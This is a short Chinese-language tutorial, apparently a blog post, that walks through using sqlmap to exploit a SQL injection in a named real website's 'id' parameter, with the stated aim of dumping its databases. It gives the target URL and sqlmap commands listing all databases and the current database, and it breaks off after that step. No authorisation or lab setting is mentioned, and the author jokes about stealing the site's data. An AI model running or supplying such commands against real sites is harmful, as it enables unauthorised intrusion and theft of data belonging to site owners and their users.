sqlmap的应用实战

今天有幸在kali中文网上查看了很多大神写的sqlmap的教程，其中还在大神的文章里找到了一个悲催的网站www.bible-history.com/,所以就按照前人总结，给这个悲催的网站脱裤了。。。。下面详细的讲一下怎么给网站脱裤，啊，不，是拖库。。。。。

1.首先要知道可以注入的网址是什么

    http：//www.bible-history.com/subcat.php?id=2

2.接着就可以针对这个网址来检测能不能注入，以及查看它的所有数据库列表了

  sqlmap -u "http：//www.bible-history.com/subcat.php?id=2" --dbs  (注意：dbs前面是两个横杠)

注入的结果表示：

（1）注入参数id为GET注入，注入类型有四种，分别是：boolean-based blind/error-based/time-based blind/union query

（2）web应用程序技术为：Apache  PHP

（3）数据库类型：MySQL

（4）画红圈的是网址所有的数据库名单

其中可能有你输入[Y/N]的，统统回车解决吧。

3.这时，我们发现这个网址存在注入，并且拿到了所有数据库名单。我们决定查看web当前使用的数据库

  sqlmap -u "http：//www.bible-history.com/subcat.php?id=2" --current-db